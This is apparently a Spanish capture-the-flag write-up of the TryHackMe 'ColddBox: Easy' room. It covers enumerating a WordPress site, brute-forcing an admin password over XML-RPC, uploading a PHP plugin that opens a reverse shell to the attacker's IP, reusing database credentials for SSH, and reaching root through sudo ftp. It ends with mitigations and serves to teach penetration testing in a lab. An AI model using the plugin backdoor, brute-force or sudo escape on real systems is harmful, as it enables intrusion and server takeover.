ColddBox: Easy - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
ColddBox: Easy - TryHackMe Walkthrough
Bienvenido a mi writeup de ColddBox: Easy de TryHackMe.
Una room con un WordPress antiguo donde la enumeración de directorios es la pieza clave: un mensaje oculto desvela los usuarios del sistema y abre la puerta al bruteforce. Desde ahí, un plugin PHP malicioso da acceso al servidor y sudo mal configurado completa la escalada.
Room: ColddBox: Easy
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root
🎯 Información del Objetivo
IP Target: 10.113.167.230
🔍 Fase 1: Reconocimiento (RECON)
Comprobación de Conectividad
Empiezo verificando que la máquina está activa:
ping -c1 10.113.167.230-c1→ Envía solo 1 paquete ICMP y para
64 bytes from 10.113.167.230: icmp_seq=1 ttl=62 time=46.1 ms
Recibo respuesta. El TTL es 62, lo que indica que posiblemente estamos ante una máquina Linux (TTL nativo 64, decrementado por los saltos de red).
💡 Referencia rápida de TTL:
- TTL ≈ 64 → Linux/Unix
- TTL ≈ 128 → Windows
Escaneo de Puertos
Hago un escaneo rápido para descubrir los puertos abiertos:
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.113.167.230-p-→ Escanea los 65535 puertos--open→ Muestra solo puertos abiertos--min-rate 5000→ Mínimo 5000 paquetes por segundo-vvv→ Máxima verbosidad-n→ Sin resolución DNS-Pn→ Sin ping previo, trata el host como activo
Aparecen dos puertos: 80 y 4512. Con los puertos identificados, profundizo con un escaneo de versiones:
nmap -p80,4512 -sCV 10.113.167.230-sC→ Scripts NSE por defecto-sV→ Detección de versiones de los servicios
Los resultados más relevantes:
- Puerto 80: Apache 2.4.18 (Ubuntu) con WordPress 4.1.31
- Puerto 4512: OpenSSH 7.2p2 corriendo fuera del puerto estándar

El 4512 me llama la atención — no es el puerto estándar de SSH.
Una versión de WordPress muy antigua. Buena señal para mi.
📁 Fase 2: Enumeración
Análisis con WPScan
Lanzo WPScan para un primer análisis del sitio WordPress:
wpscan --url http://10.113.167.230/Escaneo básico: versión, temas, plugins y configuración general
WPScan reporta datos relevantes:
- XML-RPC activo — potencial vector de fuerza bruta sin límite de intentos
- WordPress 4.1.31
- Tema: Twenty Fifteen v4.1
Con XML-RPC habilitado, el bruteforce de credenciales no está sujeto a las mismas restricciones que el formulario de login estándar. Lo anoto de cara a más adelante.
Búsqueda de Exploits
Compruebo si hay exploits públicos para esta versión de WordPress:
searchsploit wordpress 4.1Búsqueda en la base de datos de ExploitDB
WordPress Core < 4.7.1 - Username Enumeration | php/webapps/41497.php WordPress Core < 4.7.4 - Unauthorized Password Reset | linux/webapps/41963.txt
Hay una vulnerabilidad de enumeración de usuarios y otra de reset de contraseña sin autenticación. Tomo nota, aunque antes quiero explorar más el sitio.
Enumeración de Directorios
Lanzo dirb para buscar rutas ocultas:
dirb http://10.113.167.230/ /usr/share/wordlists/dirbuster/directory-list-2.3-small.txtFuzzing de directorios con wordlist mediana
Tras unos segundos aparece un directorio interesante: /hidden/

Al navegar a http://10.113.167.230/hidden/ encuentro un mensaje que no debería ser público:

C0ldd, has cambiado la contraseña de Hugo, ¿Cuándo se la podrás enviar para que pueda seguir subiendo sus articulos?. Philip
Este mensaje nos da tres usuarios potenciales: C0ldd, Hugo y Philip.
Fuerza Bruta con WPScan vía XML-RPC
Con los usuarios identificados, preparo el archivo usuarios.txt con los tres nombres y lanzo el bruteforce aprovechando que XML-RPC está activo:
wpscan --url http://10.113.167.230/ --usernames usuarios.txt --passwords /usr/share/wordlists/rockyou.txt -t 100 --usernames→ Archivo con los usuarios a probar--passwords→ Diccionario de contraseñas rockyou-t 100→ 100 hilos para acelerar el proceso
En poco tiempo obtengo una credencial válida:
[SUCCESS] - C0ldd / 9876543210
Accedo al panel de administración de WordPress en /wp-admin/ con el usuario C0ldd.
🚀 Fase 3: Explotación — Plugin PHP Malicioso
Una vez dentro como administrador, busco la forma de ejecutar código en el servidor.
Busco información en internet y veo que en versiones de WordPress anteriores a la 6.4.3, el instalador de plugins no valida el contenido del archivo subido: si tiene la cabecera correcta, WordPress lo acepta y lo ejecuta como parte de la instalación.
Esto significa que puedo crear un supuesto plugin el cual contenga código malicioso para enviarme una revshell.
Creo plugin.php con la estructura mínima de plugin y el código de reverse shell:
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Version: 1.0
* Author: Xhetic
* Description: Herramienta de auditoría técnica para ejecución de comandos.
*/
$ip = '192.168.139.157'; // IP de la VPN
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>Lo empaqueto en un .zip:
zip plugin-shell.zip plugin.phpAntes de subirlo me pongo en escucha:
nc -lvnp 4444-l→ Modo escucha-v→ Verboso-n→ Sin resolución DNS-p 4444→ Puerto de escucha
Subo el archivo .zip desde Plugins → Add new → Upload plugin y hago clic en Activar plugin.

Al activar el plugin, el servidor ejecuta el PHP y recibo la conexión de vuelta en mi listener:

Estoy dentro como www-data.
Tratamiento de TTY
Estabilizo la shell para poder trabajar con comodidad:
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xtermEnumeración Post-Shell — wp-config.php
Explorando la instalación de WordPress encuentro el archivo wp-config.php. Aquí, busco las credenciales de la base de datos:
cat wp-config.phpdefine('DB_NAME', 'colddbox');
define('DB_USER', 'c0ldd');
define('DB_PASSWORD', 'cybersecurity');Me conecto para ver si hay algo de interés:
mysql -u c0ldd -pcybersecurity -h localhost colddboxNo encuentro nada de valor en la base de datos. Sin embargo, dado que tengo estas credenciales, pruebo a reutilizarlas por SSH — es una práctica muy habitual en entornos mal securizados:
ssh c0ldd@10.113.167.230 -p 4512El SSH está en el puerto 4512, según el escaneo inicial
La contraseña cybersecurity funciona. C0ldd reutiliza credenciales.
🚩 Flag de Usuario
Nada más iniciar sesión SSH veo el archivo user.txt directamente en el directorio home:
🚩 Flag de usuario capturada!
⬆️ Fase 4: Escalada de Privilegios — Sudo FTP
Compruebo qué puede ejecutar el usuario c0ldd con privilegios elevados:
sudo -l(root) /usr/bin/vim (root) /bin/chmod (root) /usr/bin/ftp
Hay tres binarios ejecutables como root: vim, chmod y ftp. Cualquiera sirve para escalar privilegios.
Elijo ftp porque permite lanzar comandos del sistema desde su interfaz interactiva sin necesidad de editar archivos:
sudo /usr/bin/ftp
ftp> !/bin/bash!/bin/bash → Ejecuta bash heredando los privilegios de root con los que
corre ftp
Obtengo una bash como root.

🚩 Flag de Root
La flag final está en el directorio /root/:
🚩 Flag de root capturada!
📊 Resumen
Cadena de Ataque
Nmap → WordPress 4.1.31 (80) + SSH no estándar (4512) → WPScan → XML-RPC activo → dirb → /hidden/ → usuarios C0ldd, Hugo, Philip → Bruteforce WPScan → C0ldd:9876543210 → Plugin PHP malicioso → shell www-data → wp-config.php → credenciales MySQL → SSH c0ldd reutiliza contraseña → user.txt → sudo -l → sudo ftp → !/bin/bash → root
Herramientas Utilizadas
- nmap — Reconocimiento de puertos y servicios
- WPScan — Enumeración y bruteforce WordPress
- searchsploit — Búsqueda de exploits en ExploitDB
- dirb — Fuzzing de directorios web
- netcat — Listener para la reverse shell
🛡️ Vulnerabilidades y Mitigaciones
| Vulnerabilidad | Severidad | Mitigación |
|---|---|---|
| WordPress 4.1.31 desactualizado | ALTA | Actualizar WordPress a la última versión estable |
| XML-RPC activo sin restricciones | ALTA | Deshabilitar XML-RPC si no es necesario; usar plugins como Disable XML-RPC |
| Directorio /hidden/ con información sensible | MEDIA | No exponer rutas con información interna; revisar qué directorios son accesibles públicamente |
| Contraseña débil del administrador | ALTA | Usar contraseñas robustas y no predecibles |
| Reutilización de credenciales (MySQL → SSH) | ALTA | Usar contraseñas distintas para cada servicio |
| Binarios sudo sin restricción (vim, chmod, ftp) | CRÍTICA | Revisar y limitar permisos sudo al mínimo necesario (principio de mínimo privilegio) |
📚 Referencias
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Sigueme en TryHackMe :
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.